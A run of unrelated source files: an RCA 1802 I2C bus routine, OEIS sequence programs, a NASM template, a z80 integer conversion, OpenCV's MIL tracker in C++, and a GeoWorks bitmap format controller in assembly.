; Get count of bytes to write PLO RF ; and save it. INCL "../inc/i2c_start.asm" SEP RA ; Write address + write flag .WLOOP LDA R6 ; Get next byte PHI RF SEP RA ; Write next byte DEC RF GLO RF BNZ .WLOOP LDA R6 ; Save count of bytes SMI $01 ; minus one. PLO RF LDA R6 ; Get high address of buffer PHI RD LDA R6 ; Get low address of buffer PLO RD ; Repeated START INCL "../inc/i2c_start.asm" ; Rewrite the i2c address with read bit set GLO RC ORI $01 PHI RF SEP RA GLO RF BZ .LAST .RLOOP: SEP RB ; Read next byte GHI RF STR RD INC RD ; ACK GHI RE ORI SDA_LOW ; SDA LOW STR R2 OUT PORT DEC R2 ANI SCL_HIGH ; SCL HIGH STR R2 OUT PORT DEC R2 ORI SCL_LOW ; SCL LOW STR R2 OUT PORT DEC R2 PHI RE DEC RF GLO RF BNZ .RLOOP .LAST: SEP RB ; Read final byte GHI RF STR RD ; NAK GHI RE ANI SDA_HIGH ; SDA HIGH STR R2 OUT PORT DEC R2 ANI SCL_HIGH ; SCL HIGH STR R2 OUT PORT DEC R2 ORI SCL_LOW ; SCL LOW STR R2 OUT PORT DEC R2 PHI RE INCL "../inc/../inc/i2c_stop.asm" IRX ; Restore registers LDXA PLO RF LDXA PHI RF LDXA PLO RE LDXA PLO RD LDXA PHI RD LDXA PLO RC LDXA PLO RB LDXA PHI RB LDXA PLO RA LDX PHI RA RETN ;------------------------------------------------------------------------ ;This routine writes one byte of data (MSB first) on the i2c bus. ; ;Register usage: ; R2 points to an available memory location (typically top of stack) ; RE.1 maintains the current state of the output port ; RE.0 bit counter ; RF.1 on entry, contains the value to be written to the bus ; SHARED I2C_WRITE_BYTE SEP R3 I2C_WRITE_BYTE: LDI 8 PLO RE .NEXT_BIT: GHI RF SHLC PHI RF GHI RE BDF .ONE_BIT ORI SDA_LOW ; SDA LOW LSKP .ONE_BIT: ANI SDA_HIGH ; SDA HIGH STR R2 OUT PORT DEC R2 ANI SCL_HIGH ; SCL HIGH STR R2 OUT PORT DEC R2 ORI SCL_LOW ; SCL LOW STR R2 OUT PORT DEC R2 PHI RE ; Update port data DEC RE GLO RE BNZ .NEXT_BIT ; ACK/NAK GHI RE ANI SDA_HIGH ; SDA HIGH STR R2 OUT PORT DEC R2 ANI SCL_HIGH ; SCL HIGH STR R2 OUT PORT B1 .ACK .NAK: DEC R2 PHI RE LDI $EE STR R2 OUT 4 DEC R2 SKP .ACK: DEC R2 GHI RE ORI SCL_LOW ; SCL LOW STR R2 OUT PORT DEC R2 PHI RE BR I2C_WRITE_BYTE - 1 ALIGN 256 ;------------------------------------------------------------------------ ;This routine reads one byte of data (MSB first) from the i2c bus. ; ;Register usage: ; R2 points to an available memory location (typically top of stack) ; RE.1 maintains the current state of the output port ; RE.0 bit counter ; RB.0 on output, contains the value read from to the bus ; SHARED I2C_READ_BYTE SEP R3 I2C_READ_BYTE: LDI 8 PLO RE GHI RE ANI SDA_HIGH ; SDA HIGH STR R2 OUT PORT DEC R2 PHI RE .NEXT_BIT: GHI RE ANI SCL_HIGH ; SCL HIGH STR R2 OUT PORT DEC R2 PHI RE ; Update port data GHI RF SHL B1 .ZERO_BIT ORI $01 .ZERO_BIT: PHI RF GHI RE ORI SCL_LOW ; SCL LOW STR R2 OUT PORT DEC R2 PHI RE ; Update port data DEC RE GLO RE BNZ .NEXT_BIT PHI RE BR I2C_READ_BYTE - 1 ;------------------------------------------------------------------------ ;This routine attempts to clear a condition where a slave is out of ;sync and is holding the SDA line low. ; ;Register usage: ; RE.1 maintains the current state of the output port ; SHARED I2C_CLEAR I2C_CLEAR: GHI RE ANI SDA_HIGH ; SDA HIGH STR R2 OUT PORT DEC R2 BN1 .DONE ; If SDA is high, we're done .TOGGLE: ORI SCL_LOW ; SCL LOW STR R2 OUT PORT DEC R2 ANI SCL_HIGH ; SCL HIGH STR R2 OUT PORT DEC R2 B1 .TOGGLE ; Keep toggling SCL until SDA is high .DONE: PHI RE RETN END
; WAP to show the working of SHORT JMP. ; PAGE 194 example 6.1 ; NEAR JMP - pg 195 example 6.2
; A021574: Decimal expansion of 1/570. ; 0,0,1,7,5,4,3,8,5,9,6,4,9,1,2,2,8,0,7,0,1,7,5,4,3,8,5,9,6,4,9,1,2,2,8,0,7,0,1,7,5,4,3,8,5,9,6,4,9,1,2,2,8,0,7,0,1,7,5,4,3,8,5,9,6,4,9,1,2,2,8,0,7,0,1,7,5,4,3,8,5,9,6,4,9,1,2,2,8,0,7,0,1,7,5,4,3,8,5 add $0,1 mov $1,10 pow $1,$0 mul $1,7 div $1,3990 mod $1,10 mov $0,$1
bits 64 %%CEXTERNS%% %%MACROTEXT%% section .data align=8 %%CONSTANTS%% section .bss align=8 %%HEAP%% section .init align=%%ALIGN%% __cbbuiltin_initheader: %%INIT%% section .fini align=%%ALIGN%% __cbbuiltin_finifooter: %%FINI%% section .text align=%%ALIGN%% global main %%TEXT%%
SECTION code_l_sccz80 PUBLIC l_i64_u64_toi32 PUBLIC l_i64_s64_toi32 EXTERN __i64_acc ; Entry: acc = value ; Exit: dehl = long truncated value ; l_i64_u64_toi32: l_i64_s64_toi32: ld hl,__i64_acc ld e,(hl) inc hl ld d,(hl) inc hl ld a,(hl) inc hl ld h,(hl) ld l,a ex de,hl ret
; A103872: a(n) = 3*trinomial(n+1,0) - trinomial(n+2,0). ; Submitted by Christian Krause ; 0,2,2,6,12,30,72,182,464,1206,3170,8426,22596,61074,166194,454950,1251984,3461574,9611190,26787378,74916660,210178458,591347988,1668172842,4717282752,13369522250,37970114702,108045430902 add $0,2 mov $1,1 mov $3,$0 mov $4,1 lpb $3 sub $3,1 div $4,-1 mul $4,$3 add $5,$1 add $1,1 mod $1,2 div $4,$5 add $2,$4 lpe mov $0,$2 add $0,1 mul $0,2
// This file is part of OpenCV project. // It is subject to the license terms in the LICENSE file found in the top-level directory // of this distribution and at http://opencv.org/license.html. #include "../precomp.hpp" #include "detail/tracker_mil_model.hpp" #include "detail/tracker_feature_haar.impl.hpp" namespace cv { inline namespace tracking { namespace impl { using cv::detail::tracking::internal::TrackerFeatureHAAR; class TrackerMILImpl CV_FINAL : public TrackerMIL { public: TrackerMILImpl(const TrackerMIL::Params& parameters); virtual void init(InputArray image, const Rect& boundingBox) CV_OVERRIDE; virtual bool update(InputArray image, Rect& boundingBox) CV_OVERRIDE; void compute_integral(const Mat& img, Mat& ii_img); TrackerMIL::Params params; Ptr<TrackerMILModel> model; Ptr<TrackerSampler> sampler; Ptr<TrackerFeatureSet> featureSet; }; TrackerMILImpl::TrackerMILImpl(const TrackerMIL::Params& parameters) : params(parameters) { // nothing } void TrackerMILImpl::compute_integral(const Mat& img, Mat& ii_img) { Mat ii; std::vector<Mat> ii_imgs; integral(img, ii, CV_32F); // FIXIT split first split(ii, ii_imgs); ii_img = ii_imgs[0]; } void TrackerMILImpl::init(InputArray image, const Rect& boundingBox) { sampler = makePtr<TrackerSampler>(); featureSet = makePtr<TrackerFeatureSet>(); Mat intImage; compute_integral(image.getMat(), intImage); TrackerSamplerCSC::Params CSCparameters; CSCparameters.initInRad = params.samplerInitInRadius; CSCparameters.searchWinSize = params.samplerSearchWinSize; CSCparameters.initMaxNegNum = params.samplerInitMaxNegNum; CSCparameters.trackInPosRad = params.samplerTrackInRadius; CSCparameters.trackMaxPosNum = params.samplerTrackMaxPosNum; CSCparameters.trackMaxNegNum = params.samplerTrackMaxNegNum; Ptr<TrackerSamplerAlgorithm> CSCSampler = makePtr<TrackerSamplerCSC>(CSCparameters); CV_Assert(sampler->addTrackerSamplerAlgorithm(CSCSampler)); //or add CSC sampler with default parameters //sampler->addTrackerSamplerAlgorithm( "CSC" ); //Positive sampling CSCSampler.staticCast<TrackerSamplerCSC>()->setMode(TrackerSamplerCSC::MODE_INIT_POS); sampler->sampling(intImage, boundingBox); std::vector<Mat> posSamples = sampler->getSamples(); //Negative sampling CSCSampler.staticCast<TrackerSamplerCSC>()->setMode(TrackerSamplerCSC::MODE_INIT_NEG); sampler->sampling(intImage, boundingBox); std::vector<Mat> negSamples = sampler->getSamples(); CV_Assert(!posSamples.empty()); CV_Assert(!negSamples.empty()); //compute HAAR features TrackerFeatureHAAR::Params HAARparameters; HAARparameters.numFeatures = params.featureSetNumFeatures; HAARparameters.rectSize = Size((int)boundingBox.width, (int)boundingBox.height); HAARparameters.isIntegral = true; Ptr<TrackerFeature> trackerFeature = makePtr<TrackerFeatureHAAR>(HAARparameters); featureSet->addTrackerFeature(trackerFeature); featureSet->extraction(posSamples); const std::vector<Mat> posResponse = featureSet->getResponses(); featureSet->extraction(negSamples); const std::vector<Mat> negResponse = featureSet->getResponses(); model = makePtr<TrackerMILModel>(boundingBox); Ptr<TrackerStateEstimatorMILBoosting> stateEstimator = makePtr<TrackerStateEstimatorMILBoosting>(params.featureSetNumFeatures); model->setTrackerStateEstimator(stateEstimator); //Run model estimation and update model.staticCast<TrackerMILModel>()->setMode(TrackerMILModel::MODE_POSITIVE, posSamples); model->modelEstimation(posResponse); model.staticCast<TrackerMILModel>()->setMode(TrackerMILModel::MODE_NEGATIVE, negSamples); model->modelEstimation(negResponse); model->modelUpdate(); } bool TrackerMILImpl::update(InputArray image, Rect& boundingBox) { Mat intImage; compute_integral(image.getMat(), intImage); //get the last location [AAM] X(k-1) Ptr<TrackerTargetState> lastLocation = model->getLastTargetState(); Rect lastBoundingBox((int)lastLocation->getTargetPosition().x, (int)lastLocation->getTargetPosition().y, lastLocation->getTargetWidth(), lastLocation->getTargetHeight()); //sampling new frame based on last location auto& samplers = sampler->getSamplers(); CV_Assert(!samplers.empty()); CV_Assert(samplers[0]); samplers[0].staticCast<TrackerSamplerCSC>()->setMode(TrackerSamplerCSC::MODE_DETECT); sampler->sampling(intImage, lastBoundingBox); std::vector<Mat> detectSamples = sampler->getSamples(); if (detectSamples.empty()) return false; /*//TODO debug samples Mat f; image.copyTo(f); for( size_t i = 0; i < detectSamples.size(); i=i+10 ) { Size sz; Point off; detectSamples.at(i).locateROI(sz, off); rectangle(f, Rect(off.x,off.y,detectSamples.at(i).cols,detectSamples.at(i).rows), Scalar(255,0,0), 1); }*/ //extract features from new samples featureSet->extraction(detectSamples); std::vector<Mat> response = featureSet->getResponses(); //predict new location ConfidenceMap cmap; model.staticCast<TrackerMILModel>()->setMode(TrackerMILModel::MODE_ESTIMATON, detectSamples); model.staticCast<TrackerMILModel>()->responseToConfidenceMap(response, cmap); model->getTrackerStateEstimator().staticCast<TrackerStateEstimatorMILBoosting>()->setCurrentConfidenceMap(cmap); if (!model->runStateEstimator()) { return false; } Ptr<TrackerTargetState> currentState = model->getLastTargetState(); boundingBox = Rect((int)currentState->getTargetPosition().x, (int)currentState->getTargetPosition().y, currentState->getTargetWidth(), currentState->getTargetHeight()); /*//TODO debug rectangle(f, lastBoundingBox, Scalar(0,255,0), 1); rectangle(f, boundingBox, Scalar(0,0,255), 1); imshow("f", f); //waitKey( 0 );*/ //sampling new frame based on new location //Positive sampling samplers[0].staticCast<TrackerSamplerCSC>()->setMode(TrackerSamplerCSC::MODE_INIT_POS); sampler->sampling(intImage, boundingBox); std::vector<Mat> posSamples = sampler->getSamples(); //Negative sampling samplers[0].staticCast<TrackerSamplerCSC>()->setMode(TrackerSamplerCSC::MODE_INIT_NEG); sampler->sampling(intImage, boundingBox); std::vector<Mat> negSamples = sampler->getSamples(); if (posSamples.empty() || negSamples.empty()) return false; //extract features featureSet->extraction(posSamples); std::vector<Mat> posResponse = featureSet->getResponses(); featureSet->extraction(negSamples); std::vector<Mat> negResponse = featureSet->getResponses(); //model estimate model.staticCast<TrackerMILModel>()->setMode(TrackerMILModel::MODE_POSITIVE, posSamples); model->modelEstimation(posResponse); model.staticCast<TrackerMILModel>()->setMode(TrackerMILModel::MODE_NEGATIVE, negSamples); model->modelEstimation(negResponse); //model update model->modelUpdate(); return true; } }} // namespace tracking::impl TrackerMIL::Params::Params() { samplerInitInRadius = 3; samplerSearchWinSize = 25; samplerInitMaxNegNum = 65; samplerTrackInRadius = 4; samplerTrackMaxPosNum = 100000; samplerTrackMaxNegNum = 65; featureSetNumFeatures = 250; } TrackerMIL::TrackerMIL() { // nothing } TrackerMIL::~TrackerMIL() { // nothing } Ptr<TrackerMIL> TrackerMIL::create(const TrackerMIL::Params& parameters) { return makePtr<tracking::impl::TrackerMILImpl>(parameters); } } // namespace cv
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: uiFormatControl.asm AUTHOR: Jon Witort REVISION HISTORY: Name Date Description ---- ---- ----------- jon 24 feb 1992 Initial version. DESCRIPTION: Code for the VisBitmapFormatControlClass $Id: uiFormatControl.asm,v 1.1 97/04/04 17:43:41 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BitmapClassStructures segment resource VisBitmapFormatControlClass BitmapClassStructures ends VisBitmapUIControllerCode segment resource COMMENT @---------------------------------------------------------------------- MESSAGE: VisBitmapFormatControlGetInfo -- MSG_GEN_CONTROL_GET_INFO for VisBitmapFormatControlClass DESCRIPTION: Return group PASS: *ds:si - instance data es - segment of VisBitmapFormatControlClass ax - The message cx:dx - GenControlBuildInfo structure to fill in RETURN: none DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 10/31/91 Initial version ------------------------------------------------------------------------------@ VisBitmapFormatControlGetInfo method dynamic VisBitmapFormatControlClass, MSG_GEN_CONTROL_GET_INFO mov si, offset VBFC_dupInfo call CopyDupInfoCommon ret VisBitmapFormatControlGetInfo endm VBFC_dupInfo GenControlBuildInfo < mask GCBF_SUSPEND_ON_APPLY, ; GCBI_flags VBFC_IniFileKey, ; GCBI_initFileKey VBFC_gcnList, ; GCBI_gcnList length VBFC_gcnList, ; GCBI_gcnCount VBFC_notifyList, ; GCBI_notificationList length VBFC_notifyList, ; GCBI_notificationCount VBFCName, ; GCBI_controllerName handle VisBitmapFormatControlUI,; GCBI_dupBlock VBFC_childList, ; GCBI_childList length VBFC_childList, ; GCBI_childCount VBFC_featuresList, ; GCBI_featuresList length VBFC_featuresList, ; GCBI_featuresCount VBFC_DEFAULT_FEATURES, ; GCBI_features 0, 0, 0, 0, 0, 0, VBFC_helpContext> ; GCBI_helpContext if _FXIP BitmapControlInfoXIP segment resource endif VBFC_helpContext char "dbBitmapFrmt", 0 VBFC_IniFileKey char "VisBitmapFormat", 0 VBFC_gcnList GCNListType \ <MANUFACTURER_ID_GEOWORKS, \ GAGCNLT_APP_TARGET_NOTIFY_BITMAP_CURRENT_FORMAT_CHANGE>, <MANUFACTURER_ID_GEOWORKS, \ GAGCNLT_APP_TARGET_NOTIFY_GROBJ_BODY_SELECTION_STATE_CHANGE> VBFC_notifyList NotificationType \ <MANUFACTURER_ID_GEOWORKS, GWNT_BITMAP_CURRENT_FORMAT_CHANGE>, <MANUFACTURER_ID_GEOWORKS, GWNT_GROBJ_BODY_SELECTION_STATE_CHANGE> ;--- VBFC_childList GenControlChildInfo \ <offset VisBitmapFormatItemGroup, mask VBFCF_MONO or \ mask VBFCF_4BIT or \ mask VBFCF_8BIT, 0>, <offset VisBitmapResolutionInteraction, mask VBFCF_72_DPI or \ mask VBFCF_300_DPI or \ mask VBFCF_CUSTOM_DPI, 0> VBFC_featuresList GenControlFeaturesInfo \ <offset DpiCustomItem, DpiCustomName, 0>, <offset Dpi300Item, Dpi300Name, 0>, <offset Dpi72Item, Dpi72Name, 0>, <offset Color4BitItem, Color4BitName, 0>, <offset MonoItem, MonoName, 0>, <offset Color8BitItem, Color8BitName, 0> if _FXIP BitmapControlInfoXIP ends endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapFormatControlSetFormat %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Set the new bitmap format CALLED BY: MSG_VBCF_SET_FORMAT PASS: *ds:si = VisBitmapFormatControl object ds:di = VisBitmapFormatControl instance RETURN: nothing DESTROYED: ax, bx, di COMMENTS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon Feb 24, 1992 Initial version. don 11-13-93 Added code to deal with missing controller features %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapFormatControlSetFormat method dynamic VisBitmapFormatControlClass, MSG_VBFC_SET_FORMAT features local word resolution local word format local BMFormat changed local BooleanByte .enter ForceRef unused ; ; Grab the last reported values, just in case we don't ; have all of the controller's features ; push si mov ax, TEMP_VIS_BITMAP_FORMAT_INSTANCE call ObjVarDerefData mov ax, ds:[bx].TVBFI_resolution mov ss:[resolution], ax mov al, ds:[bx].TVBFI_format mov ss:[format], al mov ss:[changed], BB_FALSE call GetChildBlockAndFeatures mov ss:[features], ax ; ; Grab the current resolution ; test ss:[features], mask VBFCF_72_DPI or \ mask VBFCF_300_DPI or \ mask VBFCF_CUSTOM_DPI jz getFormat mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION mov si, offset VisBitmapResolutionItemGroup call ObjMessage_near_call_save_bp ; ; If custom or unknown, assume custom ; tst ax ;see if custom jz getValue cmp ax, GIGS_NONE jne haveResolution ; ; Ask the GenValue for the custom selection ; getValue: test ss:[features], mask VBFCF_CUSTOM_DPI jz getFormat mov ax, MSG_GEN_VALUE_GET_VALUE mov si, offset VisBitmapCustomResolutionValue call ObjMessage_near_call_save_bp mov_tr ax, dx ; resolution => AX haveResolution: cmp ss:[resolution], ax je getFormat mov ss:[resolution], ax ; store resolution mov ss:[changed], BB_TRUE ; mark as changed ; ; Get the format of the bitmap ; getFormat: test ss:[features], mask VBFCF_MONO or mask VBFCF_4BIT jz spewData mov si, offset VisBitmapFormatItemGroup mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION call ObjMessage_near_call_save_bp cmp ss:[format], al je spewData mov ss:[format], al ; store format mov ss:[changed], BB_TRUE ; mark as changed ; ; Send message to ourselves to change the format. We do this so ; that multiple format-change messages are not sent, thereby ; allowing us to ask the user to confirm the change. ; spewData: mov bx, ds:[LMBH_handle] pop si ; my OD => ^lBX:SI tst ss:[changed] ; if no changes, do nothing jz done mov ax, MSG_VBFC_SET_FORMAT_NOW mov cl, ss:[format] mov dx, ss:[resolution] mov di, mask MF_FORCE_QUEUE or \ mask MF_CHECK_DUPLICATE or \ mask MF_REPLACE call ObjMessage done: .leave ret VisBitmapFormatControlSetFormat endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapFormatControlSetFormatNow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the format of the bitmap now, after having the three possible MSG_VBFC_SET_FORMAT messages. CALLED BY: GLOBAL (MSG_VBFC_SET_FORMAT_NOW) PASS: *DS:SI = VisBitmapFormatControlClass object DS:DI = VisBitmapFormatControlClassInstance CL = BMFormat DX = Resolution RETURN: Nothing DESTROYED: AX, CX, DX, BP PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 7/ 9/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapFormatControlSetFormatNow method dynamic VisBitmapFormatControlClass, MSG_VBFC_SET_FORMAT_NOW ; gets clobbered by a low-level generic routine doing an ObjMessage ; without any fixups.. so: push ds:[OLMBH_header].LMBH_handle ; ; First ask the user if we should really alter the bitmap ; clr ax push ax, ax ; SDOP_helpContext push ax, ax ; SDOP_customTriggers push ax, ax ; SDOP_stringArg2 push ax, ax ; SDOP_stringArg1 mov ax, handle ConfirmFormatChangeString push ax mov ax, offset ConfirmFormatChangeString push ax ; SDOP_customString mov ax, CDT_QUESTION shl offset CDBF_DIALOG_TYPE or \ GIT_AFFIRMATION shl offset CDBF_INTERACTION_TYPE push ax ; SDOP_customFlags call UserStandardDialogOptr pop bp xchg bp, bx call MemDerefDS xchg bp, bx cmp ax, IC_YES je makeTheChange ; ; The user chose to abort the change. Reset our UI ; mov ax, MSG_GEN_RESET mov di, offset VisBitmapFormatControlClass GOTO ObjCallSuperNoLock ; ; The user confirmed the change. Do so now. ; makeTheChange: mov ax, MSG_VIS_BITMAP_SET_FORMAT_AND_RESOLUTION mov bp, dx ; resolution also to BP mov bx, segment VisBitmapClass mov di, offset VisBitmapClass call GenControlOutputActionRegs ret VisBitmapFormatControlSetFormatNow endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapFormatControlEstimateBitmapSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Enables or disables the custom resolution GenValue CALLED BY: MSG_VBFC_ESTIMATE_BITMAP_SIZE PASS: *ds:si = VisBitmapFormatControl object ds:di = VisBitmapFormatControl instance cx = Bitmap resolution (72, 300, or 0 (custom)) RETURN: nothing DESTROYED: ax, bx, di COMMENTS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon Feb 24, 1992 Initial version. don 11-13-93 Added code to deal with missing controller features %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapFormatControlEstimateBitmapSize method dynamic \ VisBitmapFormatControlClass, \ MSG_VBFC_ESTIMATE_BITMAP_SIZE .enter ; ; Enable or disable the custom resolution object ; mov ax, MSG_GEN_SET_ENABLED jcxz setStatus mov ax, MSG_GEN_SET_NOT_ENABLED setStatus: mov dl, VUM_NOW mov bx, mask VBFCF_CUSTOM_DPI mov di, offset VisBitmapCustomResolutionValue call SendMessageToChild .leave ret VisBitmapFormatControlEstimateBitmapSize endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapFormatControlUpdateUI %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Update the bitmap format UI CALLED BY: MSG_GEN_CONTROL_UPDATE_UI PASS: *ds:si = VisBitmapFormatControl object ds:di = VisBitmapFormatControl instance ss:bp = GenControlUpdateUIParams RETURN: nothing DESTROYED: ax, bx, di COMMENTS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon Feb 24, 1992 Initial version. don 11-13-93 Added code to deal with missing controller features %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapFormatControlUpdateUI method dynamic VisBitmapFormatControlClass, MSG_GEN_CONTROL_UPDATE_UI uses cx, dx .enter ; ; First, reset the "Apply" trigger ; push bp mov ax, MSG_GEN_MAKE_NOT_APPLYABLE mov di, offset VisBitmapFormatControlClass call ObjCallSuperNoLock pop bp ; ; Determine which notification we've received. If it is an ; object selection, then enable or disable all of the gadgetry ; in this object & exit. ; cmp ss:[bp].GCUUIP_changeType, \ GWNT_BITMAP_CURRENT_FORMAT_CHANGE je newBitmapFormat mov bx, ss:[bp].GCUUIP_dataBlock call MemLock mov es, ax mov ax, MSG_GEN_SET_ENABLED ; assume a bitmap is selected test es:[GONSSC_selectionState].GSS_flags, \ mask GSSF_BITMAP_SELECTED jnz setStatus mov ax, MSG_GEN_SET_NOT_ENABLED setStatus: push ax mov dl, VUM_DELAYED_VIA_UI_QUEUE mov bx, mask VBFCF_MONO or \ mask VBFCF_4BIT or \ mask VBFCF_8BIT mov di, offset VisBitmapFormatItemGroup call SendMessageToChild pop ax mov bx, mask VBFCF_72_DPI or \ mask VBFCF_300_DPI or \ mask VBFCF_CUSTOM_DPI mov di, offset VisBitmapResolutionInteraction call SendMessageToChild jmp done ; ; A new bitmap has been selected. Store the format & resolution, ; for later use. ; newBitmapFormat: mov ax, TEMP_VIS_BITMAP_FORMAT_INSTANCE mov cx, size TempVisBitmapFormatInstance call ObjVarAddData mov di, bx ; vardata => DS:DI mov bx, ss:[bp].GCUUIP_dataBlock call MemLock mov es, ax mov al, es:[VBNCF_format] mov cx, es:[VBNCF_xdpi] mov ds:[di].TVBFI_format, al mov ds:[di].TVBFI_resolution, cx call MemUnlock push ax ;save BMFormat ; ; Initialize the custom resolution (if present) ; push bp mov ax, MSG_GEN_VALUE_SET_INTEGER_VALUE clr bp ; determinate mov bx, mask VBFCF_CUSTOM_DPI mov di, offset VisBitmapCustomResolutionValue call SendMessageToChild pop bp ; ; Initialize the resolution UI (if present) ; mov ax, ss:[bp].GCUUIP_features cmp cx, 72 ;is the resolution 72 DPI? jne check300 test ax, mask VBFCF_72_DPI ;is 72 DPI in the list? jnz haveResolution check300: cmp cx, 300 ;is the resolution 300 DPI? jne customResolution test ax, mask VBFCF_300_DPI ;is 300 in the list? jnz haveResolution customResolution: clr cx ;it's custom haveResolution: mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION clr dx ;determinate mov bx, mask VBFCF_72_DPI or \ mask VBFCF_300_DPI or \ mask VBFCF_CUSTOM_DPI mov di, offset VisBitmapResolutionItemGroup call SendMessageToChild ; ; Set the custom resolution enabled or disabled ; mov ax, MSG_VBFC_ESTIMATE_BITMAP_SIZE call ObjCallInstanceNoLock ; ; Initialize the format UI ; pop cx ;restore format clr ch ;make format a word mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION clr dx ;determinate mov bx, mask VBFCF_MONO or \ mask VBFCF_4BIT mov di, offset VisBitmapFormatItemGroup call SendMessageToChild done: .leave ret VisBitmapFormatControlUpdateUI endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Utilities %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetChildBlockAndFeatures %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Returns the child block & features for this controller CALLED BY: INTERNAL PASS: *ds:si = VisBitmapFormatControl object RETURN: ax = VBFCFeatures bx = handle of child block (may be 0) DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 7/ 7/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetChildBlockAndFeatures proc near mov ax, TEMP_GEN_CONTROL_INSTANCE call ObjVarDerefData mov ax, ds:[bx].TGCI_features mov bx, ds:[bx].TGCI_childBlock ret GetChildBlockAndFeatures endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SendMessageToChild %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Sends a message to a child of the controller CALLED BY: INTERNAL PASS: *ds:si = VisBitmapFormatControl object ax = message bx = VBFCFeature that must be present cx,dx,bp= message data di = chunk handle of child object RETURN: nothing DESTROYED: ax, bx, di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 7/ 7/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SendMessageToChild proc near uses si .enter ; Send the message to the child, if it is present ; push ax, di ; save message, object mov di, bx ; feature(s) => DI call GetChildBlockAndFeatures and ax, di ; any features set? pop ax, si ; restore message, object jz done tst bx jz done mov di, mask MF_FIXUP_DS call ObjMessage done: .leave ret SendMessageToChild endp ObjMessage_near_call_save_bp proc near push bp mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage pop bp ret ObjMessage_near_call_save_bp endp VisBitmapUIControllerCode ends
